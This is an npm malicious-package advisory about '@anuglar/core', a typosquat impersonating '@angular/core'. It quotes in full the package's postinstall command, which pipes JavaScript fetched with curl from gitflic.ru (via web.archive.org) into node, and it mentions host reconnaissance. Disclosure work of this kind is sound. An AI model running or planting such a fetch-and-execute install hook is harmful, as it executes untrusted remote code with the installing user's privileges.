npm · Malicious package advisory
Malware@anuglar/core
MAL-2026-17541
Malicious code in @anuglar/core (npm)
Details
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (5f23ef78cc88817166cff7f8fdf3f1839c610880d960d9394e286da232058f98)
Package name '@anuglar/core' is a one-character transposition of '@angular/core' and copies the legitimate package's description ('Angular - the core framework'), author ('angular'), and repository URL to impersonate it. The package.json postinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading arbitrary JavaScript from a third-party host (gitflic.ru, fetched via web.archive.org) and piping it directly into node for execution on `npm install`. The fetched code is unpinned, unhashed, and not shipped in the tarball, so its contents can change at any time and are executed with the privileges of the installing user. The script also references `ps` and `id` for host reconnaissance.
Compromised versions (1)
- 22.2.1
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.